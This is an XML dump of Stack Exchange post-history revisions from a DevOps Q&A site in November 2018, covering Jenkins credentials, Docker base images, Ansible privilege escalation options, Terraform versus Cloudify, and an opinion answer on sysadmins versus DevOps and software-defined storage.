  <row Id="16972" PostHistoryTypeId="5" PostId="5344" RevisionGUID="88e98e71-e622-4af5-bfe5-ed094e62a84c" CreationDate="2018-11-06T11:09:06.927" UserId="9404" Comment="added 63 characters in body" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting Perl, Powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or OpsDev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. &#xD;&#xA;&#xD;&#xA;Because operations/system team just runs what software team builds.   &#xD;&#xA;sysadmins do not build/compile Linux/FreeBSD/windows kernel etc. just as software engineers build/compile applications  &#xD;&#xA;sysadmins do not go through software development life cycle(SDLC)  &#xD;&#xA;sysadmins are not part of the production pipeline( CI/CD process)  &#xD;&#xA;sysadmin start working after CI/Continuous Delivery/Deployment ends, if you break and assign Deployment/Delivery, it could be a broken pipeline  &#xD;&#xA;the software team is the creator system/operations team are the runners/caretakers mostly.&#xD;&#xA;&#xD;&#xA;It sounds like there is no server/system to administer, no sysadmin need.&#xD;&#xA;&#xD;&#xA;Serverless computing is a cloud-computing execution model in which the cloud provider acts as the server, dynamically managing the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity&#xD;&#xA;[Serverless computing][1]&#xD;&#xA;&#xD;&#xA;Someone from the software team already knows how to build, maintain even how to code (SRE vs DevOps(OpsDev) ).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between the two? &#xD;&#xA;&#xD;&#xA;***For the late question(This &quot;Pierre Vriens some&quot; guy in his comment to my answer asked and deleted his message later, interesting my comment has also vanished, interesting community, anyway software-defined storage goes below):***&#xD;&#xA;&#xD;&#xA;Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; EMC announced its first ever open source product: Project CoprHD. CoprHD is a Software Defined Storage automation and management controller, and EMC’s recent decision to open source it is at the crux of our strategy for delivering greater value to global businesses as we enter into an area of growth and extreme change.&#xD;&#xA;[As the world’s leader in storage and information management, it behooves EMC to lead the way on Software Defined Storage (SDS).][3]&#xD;&#xA;&#xD;&#xA;CoprHD is an open source software-defined storage controller and API platform. It enables policy-based management and cloud automation of storage resources for the block, object and file storage providers&#xD;&#xA;[CoprHD][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software-defined_storage&#xD;&#xA;  [3]: https://www.emc.com/microsites/sds/articles/leading-the-way-software-defined-storage.htm&#xD;&#xA;  [4]: https://coprhd.github.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16973" PostHistoryTypeId="2" PostId="5345" RevisionGUID="2cfa96cf-9213-44e3-a883-ac76d72ae197" CreationDate="2018-11-06T11:17:27.317" UserId="354" Text="You want the [Credentials Plugin](https://plugins.jenkins.io/credentials).&#xD;&#xA;&#xD;&#xA;The administrator of the Jenkins instance can add the plugin, then add the credential (access token) that the job needs. Then, in the job, [use the credential](https://github.com/jenkinsci/credentials-plugin/blob/master/docs/user.adoc#using-credentials) as a variable.&#xD;&#xA;&#xD;&#xA;See the [documentation](https://github.com/jenkinsci/credentials-plugin/blob/master/docs/user.adoc) for more details.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16975" PostHistoryTypeId="2" PostId="5346" RevisionGUID="4bbd23f7-6d70-403a-aac2-08e860976797" CreationDate="2018-11-06T11:32:46.537" UserId="9404" Text="&#xD;&#xA;&#xD;&#xA;a comparison of commercial virtualization products on the same hardware resources, OR benchmarking commercial virtualization products individually, there are ways to do it, you can even script it.&#xD;&#xA;&#xD;&#xA;VMmark is a free tool used to measure the performance and scalability of virtualization platforms VMmark&#xD;&#xA;&#xD;&#xA;your question is very generic. you should clarify real performance, overall performance. It might mean &quot;real performance in virtualization&quot;.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16976" PostHistoryTypeId="6" PostId="5338" RevisionGUID="7d3cfa43-26eb-43cf-89ff-78ccd06c59a5" CreationDate="2018-11-06T11:45:25.713" UserId="354" Comment="Added a few relevant tags" Text="&lt;jenkins&gt;&lt;git&gt;&lt;jenkins-plugins&gt;&lt;github&gt;&lt;authentication&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16977" PostHistoryTypeId="24" PostId="5338" RevisionGUID="7d3cfa43-26eb-43cf-89ff-78ccd06c59a5" CreationDate="2018-11-06T11:45:25.713" Comment="Proposed by 354 approved by -1 edit id of 840" ContentLicense="CC BY-SA 4.0" />
  <row Id="16978" PostHistoryTypeId="5" PostId="5338" RevisionGUID="b608981b-0532-4bff-a478-9d2d720b518d" CreationDate="2018-11-06T11:45:25.713" UserId="40" Comment="added 2 characters in body; edited title" Text="I have a Jenkins job `foo` that works perfectly well. It is authenticated with `jenkins_foo_user`. It is able to clone the repo and checkout the right branch.&#xD;&#xA;&#xD;&#xA;In my codebase, I have another script - `query_github.py` a script used to query Github API to get information such as commits and pull request. To be able to use this API I need an access token.&#xD;&#xA;&#xD;&#xA;I want to be able to use the jenkins user access token to authenticate and access the github credentials.&#xD;&#xA;&#xD;&#xA;How do I do this?&#xD;&#xA;&#xD;&#xA;Note: Using the Github Enterprise version" ContentLicense="CC BY-SA 4.0" />
  <row Id="16979" PostHistoryTypeId="4" PostId="5338" RevisionGUID="b608981b-0532-4bff-a478-9d2d720b518d" CreationDate="2018-11-06T11:45:25.713" UserId="40" Comment="added 2 characters in body; edited title" Text="How to use Jenkins github user credentials to access github api in my script?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16980" PostHistoryTypeId="5" PostId="5340" RevisionGUID="483eb723-2eb9-4332-839f-5cff68f08d8e" CreationDate="2018-11-06T12:06:57.877" UserId="3" Comment="Improves post formatting." Text="So what's the problem?&#xD;&#xA;&#xD;&#xA;&gt; 'app.py': [Errno 2] No such file or directory&#xD;&#xA;&#xD;&#xA;I think you already answered your question. The troubleshooting part, you suspect something, but you did not test it to see if it is really what you think.&#xD;&#xA;&#xD;&#xA;Create two more files, requirements.txt and app.py, and put them in the same folder with the Dockerfile. This completes our app, which as you can see is quite simple. When the above `Dockerfile` is built into an image, `app.py` and `requirements.txt` is present because of that Dockerfile’s `COPY` command, and the output from `app.py` is accessible over HTTP thanks to the `EXPOSE` command.&#xD;&#xA;[Get Started, Part 2: Containers][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/get-started/part2/#dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="16981" PostHistoryTypeId="2" PostId="5347" RevisionGUID="c686f0d7-c81f-4d7a-a3cf-838f05db17a2" CreationDate="2018-11-06T12:07:28.130" UserId="9404" Text="you can run one container serving Nginx for others, a container is no different from a server/VM if there is not a specific reason for each container having Nginx. you should clarify why you have one global Nginx and other nodes having Nginx, assume you do not have containers. You say the problem is resources, I am not sure your problem is the way Nginx work or with your design." ContentLicense="CC BY-SA 4.0" />
  <row Id="16982" PostHistoryTypeId="5" PostId="4840" RevisionGUID="f9151486-1be8-4e5b-8f53-fdf6d60cbe3c" CreationDate="2018-11-06T12:09:49.263" UserId="3" Comment="Improves post formatting as it was confusing" Text="1. You can run that image on Windows/macOS/Linux and so on as long as docker is installed. See: [List of all environments][1].&#xD;&#xA;2. &quot;Development for a solution&quot; is a bit confusing though. It is more like encapsulation on container level (OOP encapsulation). Containers allow a developer to package up an application with all of the parts it needs, such as libraries and other dependencies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/install/ &#xD;&#xA;&#xD;&#xA;  [1]: https://opensource.com/resources/what-docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="16983" PostHistoryTypeId="5" PostId="4842" RevisionGUID="747d9911-ca20-4bee-91ff-eea7905742c3" CreationDate="2018-11-06T12:11:16.393" UserId="3" Comment="Expands the answer, so it's not link only" Text="Slave restarts the agent itself after each build? You can use [Conditional BuildStep][1] plugin to restart it on a defined condition.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Conditional+BuildStep+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="16984" PostHistoryTypeId="5" PostId="4839" RevisionGUID="4d06ec06-52b1-499e-92e5-2ab9ff048024" CreationDate="2018-11-06T12:12:52.043" UserId="3" Comment="Improves post formatting" Text="KPI (key performance indicator) or software metrics could help. For starters after a bit googling, Kubernetes has self-healing mechanism in which whether thresholds could be set up to heal after exceeding some measures is something I never tried. I'd love to know if it is doable though.&#xD;&#xA;&#xD;&#xA;Read: [Monitoring Kubernetes performance metrics][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/DataDog/the-monitor/blob/master/kubernetes/monitoring-kubernetes-performance-metrics.md" ContentLicense="CC BY-SA 4.0" />
  <row Id="16985" PostHistoryTypeId="5" PostId="5211" RevisionGUID="e44926d0-aa99-4035-ab2a-aae0ac8a0fd6" CreationDate="2018-11-06T12:14:16.863" UserId="3" Comment="Improves post formatting" Text="Most Dockerfiles start from a parent image. If you need to completely control the contents of your image, you might need to create a base image instead.&#xD;&#xA;A base image either has no `FROM` line in its `Dockerfile`, or has `FROM` scratch.&#xD;&#xA;&#xD;&#xA;### Create a full image using tar&#xD;&#xA;&#xD;&#xA;In general, start with a working machine that is running the distribution you’d like to package as a parent image, though that is not required for some tools like Debian’s Debootstrap, which you can also use to build Ubuntu images.&#xD;&#xA;&#xD;&#xA;There are more example scripts for creating parent images in the Docker GitHub Repo:&#xD;&#xA;&#xD;&#xA;    BusyBox&#xD;&#xA;    CentOS / Scientific Linux CERN (SLC) on Debian/Ubuntu or on CentOS/RHEL/SLC/etc.&#xD;&#xA;    Debian / Ubuntu&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### [Create a base image][1]&#xD;&#xA;&#xD;&#xA;I guess after creating you can export this on docker hub with `Dockerfile`.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/develop/develop-images/baseimages/&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16986" PostHistoryTypeId="5" PostId="5341" RevisionGUID="9adfa630-1a5b-4c82-b688-9ae624e28705" CreationDate="2018-11-06T12:15:27.193" UserId="3" Comment="Adds interpunction" Text="If the target is a directory, setting this to yes will make it the default `acl` for entities created inside the directory.&#xD;&#xA;&#xD;&#xA;Select if and when to recalculate the effective right masks of the files, see `setfacl` documentation for more info. Incompatible with state=query.&#xD;&#xA;&#xD;&#xA;See: [acl - Sets and retrieves file ACL information][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/acl_module.html#acl-module" ContentLicense="CC BY-SA 4.0" />
  <row Id="16987" PostHistoryTypeId="5" PostId="5344" RevisionGUID="5db606e1-e181-4882-9590-a04dbbad7220" CreationDate="2018-11-06T12:16:16.117" UserId="40" Comment="deleted 195 characters in body" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting Perl, Powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or OpsDev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. &#xD;&#xA;&#xD;&#xA;Because operations/system team just runs what software team builds.   &#xD;&#xA;sysadmins do not build/compile Linux/FreeBSD/windows kernel etc. just as software engineers build/compile applications  &#xD;&#xA;sysadmins do not go through software development life cycle(SDLC)  &#xD;&#xA;sysadmins are not part of the production pipeline( CI/CD process)  &#xD;&#xA;sysadmin start working after CI/Continuous Delivery/Deployment ends, if you break and assign Deployment/Delivery, it could be a broken pipeline  &#xD;&#xA;the software team is the creator system/operations team are the runners/caretakers mostly.&#xD;&#xA;&#xD;&#xA;It sounds like there is no server/system to administer, no sysadmin need.&#xD;&#xA;&#xD;&#xA;Serverless computing is a cloud-computing execution model in which the cloud provider acts as the server, dynamically managing the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity&#xD;&#xA;[Serverless computing][1]&#xD;&#xA;&#xD;&#xA;Someone from the software team already knows how to build, maintain even how to code (SRE vs DevOps(OpsDev) ).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between the two? &#xD;&#xA;&#xD;&#xA;***About software-defined storage:***&#xD;&#xA;&#xD;&#xA;Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; EMC announced its first ever open source product: Project CoprHD. CoprHD is a Software Defined Storage automation and management controller, and EMC’s recent decision to open source it is at the crux of our strategy for delivering greater value to global businesses as we enter into an area of growth and extreme change.&#xD;&#xA;[As the world’s leader in storage and information management, it behooves EMC to lead the way on Software Defined Storage (SDS).][3]&#xD;&#xA;&#xD;&#xA;CoprHD is an open source software-defined storage controller and API platform. It enables policy-based management and cloud automation of storage resources for the block, object and file storage providers&#xD;&#xA;[CoprHD][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software-defined_storage&#xD;&#xA;  [3]: https://www.emc.com/microsites/sds/articles/leading-the-way-software-defined-storage.htm&#xD;&#xA;  [4]: https://coprhd.github.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16988" PostHistoryTypeId="5" PostId="5346" RevisionGUID="8631e53e-1e3b-4e79-9d1c-73b88e88a590" CreationDate="2018-11-06T12:16:38.817" UserId="3" Comment="Adds missing words and interpunction" Text="You should do a comparison of commercial virtualization products on the same hardware resources, OR benchmarking commercial virtualization products individually, there are ways to do it, you can even script it.&#xD;&#xA;&#xD;&#xA;For example, VMmark is a free tool used to measure the performance and scalability of virtualization platforms VMmark&#xD;&#xA;&#xD;&#xA;Since your question is very generic, you should clarify real performance, overall performance. It might mean &quot;real performance in virtualization&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="16989" PostHistoryTypeId="2" PostId="5348" RevisionGUID="bbbd5b8c-1170-4d27-9df4-f716c3db399d" CreationDate="2018-11-06T12:19:03.297" UserId="9404" Text="&gt; --become-user root&#xD;&#xA;&#xD;&#xA;I think you are doing ssh connection between two servers as a root user. I would like to know why. I would never do this.&#xD;&#xA;&#xD;&#xA;Assuming those servers are Unix/Linux . Since there is no details how you test with CLI.I am also curious about it. &#xD;&#xA;&#xD;&#xA;This might help.&#xD;&#xA;[Enable root login over SSH][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/v2v_guide/preparation_before_the_p2v_migration-enable_root_login_over_ssh" ContentLicense="CC BY-SA 4.0" />
  <row Id="16990" PostHistoryTypeId="5" PostId="5210" RevisionGUID="95e210e4-60b0-4d6c-8b71-3b6e58f5e599" CreationDate="2018-11-06T12:21:20.773" UserId="3" Comment="Improves grammar" Text="&quot;best suited&quot; is the question. How do you measure this? what are the metrics and why do you choose them? I think you are looking for some kind of &quot;tools combination&quot;, earlier tested on production by someone else's if preferred. What you want to do is try some opensource/free private cloud on-premises and run IaC on this private environment. You can test tools forever. How do you compare those tools? I believe all of them works fine as long as there is not any inconsistency problem. I think there is a missing/main part in your search when it comes to IaC. Because of few options for that missing angle as well. I think it is better to create a chart for all of us as you are going this process in order to benefit people here. Do you have a working environment? If so could you please detail all the tools you used to create this environment?&#xD;&#xA;&#xD;&#xA;Some vendors run open source projects. How about them?&#xD;&#xA; &#xD;&#xA;The Cloud Native Computing Foundation seeks to drive adoption of this paradigm by fostering and sustaining an ecosystem of open source, vendor-neutral projects.[CNCF Cloud Native Definition v1.0][1]&#xD;&#xA;&#xD;&#xA;I started to wonder if this is cloud-native then what is it that is not cloud-native?&#xD;&#xA;&#xD;&#xA;I think this is what you are looking for. The distinction between provider and provisioner is blurred. A workflow automation tool should be doing what cloud orchestrator with GUI does. Terraform makes a distinction between provider and provisioner but Cloudify removes them as I see it. For an architect designing the whole workflow with GUI might be useful to reach the desired state. Writing desired state for which you do DRY tests already beforehand or showing with graphs. There is something you know already where it goes since you already tested, seeing it flowing in graphics workflow makes sense? Then go for it. To me it is painting the history I do not see the benefit.&#xD;&#xA;&#xD;&#xA;There are many ways to break down the types of automation, whether it’s imperative versus declarative, or orchestration versus desired configuration state.&#xD;&#xA;&#xD;&#xA;Most orchestrators are fully CLI based, or offer very limited GUI operations.&#xD;&#xA;A distinct advantage here is that Cloudify enables you to one-click your way through architectural relationship diagrams. See: [Terraform vs. Cloudify][2].&#xD;&#xA;&#xD;&#xA;### Providers&#xD;&#xA;&#xD;&#xA;A provider is responsible for understanding API interactions and exposing resources. Providers generally are an IaaS (e.g. AWS, GCP, Microsoft Azure, OpenStack), PaaS (e.g. Heroku), or SaaS services (e.g. Terraform Enterprise, DNSimple, CloudFlare).&#xD;&#xA;See: [Providers][3].&#xD;&#xA;&#xD;&#xA;### Provisioners&#xD;&#xA;&#xD;&#xA;Provisioners are used to execute scripts on a local or remote machine as part of resource creation or destruction. Provisioners can be used to bootstrap a resource, cleanup before destroy, run configuration management, etc.&#xD;&#xA;See: [Provisioners][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/cncf/toc/blob/master/DEFINITION.md&#xD;&#xA;  [2]: https://cloudify.co/2018/10/22/terraform-vs-cloudify/&#xD;&#xA;  [3]: https://www.terraform.io/docs/providers/index.html&#xD;&#xA;  [4]: https://www.terraform.io/docs/provisioners/index.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="16991" PostHistoryTypeId="5" PostId="5344" RevisionGUID="9a784e2e-dd46-4ba5-8d40-a08ce16fabed" CreationDate="2018-11-06T12:23:10.623" UserId="9404" Comment="added 224 characters in body" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting Perl, Powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or OpsDev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. &#xD;&#xA;&#xD;&#xA;Because operations/system team just runs what software team builds.   &#xD;&#xA;sysadmins do not build/compile Linux/FreeBSD/windows kernel etc. just as software engineers build/compile applications  &#xD;&#xA;sysadmins do not go through software development life cycle(SDLC)  &#xD;&#xA;sysadmins are not part of the production pipeline( CI/CD process)  &#xD;&#xA;sysadmin start working after CI/Continuous Delivery/Deployment ends, if you break and assign Deployment/Delivery, it could be a broken pipeline  &#xD;&#xA;the software team is the creator system/operations team are the runners/caretakers mostly.&#xD;&#xA;&#xD;&#xA;It sounds like there is no server/system to administer, no sysadmin need.&#xD;&#xA;&#xD;&#xA;Serverless computing is a cloud-computing execution model in which the cloud provider acts as the server, dynamically managing the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity&#xD;&#xA;[Serverless computing][1]&#xD;&#xA;&#xD;&#xA;Someone from the software team already knows how to build, maintain even how to code (SRE vs DevOps(OpsDev) ).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between the two? &#xD;&#xA;&#xD;&#xA;***In the middle of nowhere, I did not start writing about software-defined storage, here goes my answer( &quot;Pierre Viernes commented to my answer asking about it, which was deleted, later on my answer was also deleted)***&#xD;&#xA;&#xD;&#xA;***About software-defined storage:***&#xD;&#xA;&#xD;&#xA;Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; EMC announced its first ever open source product: Project CoprHD. CoprHD is a Software Defined Storage automation and management controller, and EMC’s recent decision to open source it is at the crux of our strategy for delivering greater value to global businesses as we enter into an area of growth and extreme change.&#xD;&#xA;[As the world’s leader in storage and information management, it behooves EMC to lead the way on Software Defined Storage (SDS).][3]&#xD;&#xA;&#xD;&#xA;CoprHD is an open source software-defined storage controller and API platform. It enables policy-based management and cloud automation of storage resources for the block, object and file storage providers&#xD;&#xA;[CoprHD][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software-defined_storage&#xD;&#xA;  [3]: https://www.emc.com/microsites/sds/articles/leading-the-way-software-defined-storage.htm&#xD;&#xA;  [4]: https://coprhd.github.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16992" PostHistoryTypeId="5" PostId="5344" RevisionGUID="5b40c216-4ca2-4976-bf5f-46a89b469c91" CreationDate="2018-11-06T12:52:38.013" UserId="13" Comment="Clarify wich answer is talked about" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting Perl, Powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or OpsDev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. &#xD;&#xA;&#xD;&#xA;Because operations/system team just runs what software team builds.   &#xD;&#xA;sysadmins do not build/compile Linux/FreeBSD/windows kernel etc. just as software engineers build/compile applications  &#xD;&#xA;sysadmins do not go through software development life cycle(SDLC)  &#xD;&#xA;sysadmins are not part of the production pipeline( CI/CD process)  &#xD;&#xA;sysadmin start working after CI/Continuous Delivery/Deployment ends, if you break and assign Deployment/Delivery, it could be a broken pipeline  &#xD;&#xA;the software team is the creator system/operations team are the runners/caretakers mostly.&#xD;&#xA;&#xD;&#xA;It sounds like there is no server/system to administer, no sysadmin need.&#xD;&#xA;&#xD;&#xA;Serverless computing is a cloud-computing execution model in which the cloud provider acts as the server, dynamically managing the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity&#xD;&#xA;[Serverless computing][1]&#xD;&#xA;&#xD;&#xA;Someone from the software team already knows how to build, maintain even how to code (SRE vs DevOps(OpsDev) ).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between the two? &#xD;&#xA;&#xD;&#xA;***In the middle of nowhere, I did not start writing about software-defined storage, here goes my answer( &quot;Pierre Viernes commented to my answer asking about it, which was deleted, later on my answer to this comment was also deleted)***&#xD;&#xA;&#xD;&#xA;***About software-defined storage:***&#xD;&#xA;&#xD;&#xA;Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; EMC announced its first ever open source product: Project CoprHD. CoprHD is a Software Defined Storage automation and management controller, and EMC’s recent decision to open source it is at the crux of our strategy for delivering greater value to global businesses as we enter into an area of growth and extreme change.&#xD;&#xA;[As the world’s leader in storage and information management, it behooves EMC to lead the way on Software Defined Storage (SDS).][3]&#xD;&#xA;&#xD;&#xA;CoprHD is an open source software-defined storage controller and API platform. It enables policy-based management and cloud automation of storage resources for the block, object and file storage providers&#xD;&#xA;[CoprHD][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software-defined_storage&#xD;&#xA;  [3]: https://www.emc.com/microsites/sds/articles/leading-the-way-software-defined-storage.htm&#xD;&#xA;  [4]: https://coprhd.github.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16993" PostHistoryTypeId="5" PostId="5348" RevisionGUID="fb193697-c863-4930-a35e-f467388d8908" CreationDate="2018-11-06T13:55:20.977" UserId="9404" Comment="added 658 characters in body" Text="&gt; --become-user root&#xD;&#xA;&#xD;&#xA;I think you are doing ssh connection between two servers as a root user. I would like to know why. I would never do this.&#xD;&#xA;&#xD;&#xA;Assuming those servers are Unix/Linux . Since there is no details how you test with CLI.I am also curious about it. &#xD;&#xA;&#xD;&#xA;This might help.&#xD;&#xA;[Enable root login over SSH][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Command line options&#xD;&#xA;--ask-become-pass, -K&#xD;&#xA; 	ask for privilege escalation password; does not imply become will be used. Note that this password will be used for all hosts.&#xD;&#xA;--become, -b 	run operations with become (no password implied)&#xD;&#xA;--become-method=BECOME_METHOD&#xD;&#xA; 	privilege escalation method to use (default=sudo), valid choices: [ sudo | su | pbrun | pfexec | doas | dzdo | ksu | runas | machinectl ]&#xD;&#xA;--become-user=BECOME_USER&#xD;&#xA; 	run operations as this user (default=root), does not imply –become/-b&#xD;&#xA;&#xD;&#xA;[Understanding Privilege Escalation][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/v2v_guide/preparation_before_the_p2v_migration-enable_root_login_over_ssh&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/2.6/user_guide/become.html#becoming-an-unprivileged-user" ContentLicense="CC BY-SA 4.0" />
  <row Id="16997" PostHistoryTypeId="5" PostId="5344" RevisionGUID="87280f67-ebcf-4571-95b6-afb3aabcd877" CreationDate="2018-11-06T15:20:28.533" UserId="3" Comment="Improves post formatting" Text="There is going to be servers which you do not hear running in data centers. Everything is going to be software. Storage, network, systems, security, data centers; SDN, firewalls, NFV, storage, servers, etc. Sysadmins without a software development background, SDLC experience (I don't even mean scripting Perl, Powershell, etc) will probably vanish. Distributed, scalable and virtualized environments, which is mostly cloud, grow horizontal not vertically.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I dare to say Sysadmins grow vertical, DevOps (or OpsDev) grow horizontal. You can see the same pattern how microservices evolved from monoliths. I would rather choose DevOps engineer from software team not from operations/system team. &#xD;&#xA;&#xD;&#xA;Because operations/system team just runs what software team builds.&#xD;&#xA; &#xD;&#xA;- Sysadmins do not build/compile Linux/FreeBSD/windows kernel etc. just as software engineers build/compile applications.&#xD;&#xA;- Sysadmins do not go through the software development life cycle (SDLC).&#xD;&#xA;- Sysadmins are not part of the production pipeline (CI/CD process).&#xD;&#xA;- Sysadmin start working after CI/Continuous Delivery/Deployment ends.&#xD;&#xA;&#xD;&#xA;  And if you break and assign Deployment/Delivery, it could be a broken pipeline  &#xD;&#xA;the software team is the creator system/operations team are the runners/caretakers mostly.&#xD;&#xA;&#xD;&#xA;It sounds like there is no server/system to administer, no sysadmin need.&#xD;&#xA;&#xD;&#xA;Serverless computing is a cloud-computing execution model in which the cloud provider acts as the server, dynamically managing the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity&#xD;&#xA;[Serverless computing][1]&#xD;&#xA;&#xD;&#xA;Someone from the software team already knows how to build, maintain even how to code (SRE vs DevOps/OpsDev).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I wonder why it is called DevOps but not OpsDev? is it related to the direction between the two? &#xD;&#xA;&#xD;&#xA;***In the middle of nowhere, I did not start writing about software-defined storage, here goes my answer (&quot;Pierre Viernes commented to my answer asking about it, which was deleted, later on, my answer to this comment was also deleted)***&#xD;&#xA;&#xD;&#xA;### About software-defined storage&#xD;&#xA;&#xD;&#xA;- Software-defined storage (SDS) is a marketing term for computer data storage software for policy-based provisioning and management of data storage independent of the underlying hardware.&#xD;&#xA;[Software-defined storage][2]&#xD;&#xA;&#xD;&#xA;- EMC announced its first ever open source product: Project CoprHD. CoprHD is a Software Defined Storage automation and management controller, and EMC’s recent decision to open source it is at the crux of our strategy for delivering greater value to global businesses as we enter into an area of growth and extreme change.&#xD;&#xA;[As the world’s leader in storage and information management, it behooves EMC to lead the way on Software Defined Storage (SDS)][3].&#xD;&#xA;&#xD;&#xA;- CoprHD is an open source software-defined storage controller and API platform. It enables policy-based management and cloud automation of storage resources for the block, object and file storage providers&#xD;&#xA;[CoprHD][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Serverless_computing&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Software-defined_storage&#xD;&#xA;  [3]: https://www.emc.com/microsites/sds/articles/leading-the-way-software-defined-storage.htm&#xD;&#xA;  [4]: https://coprhd.github.io/" ContentLicense="CC BY-SA 4.0" />
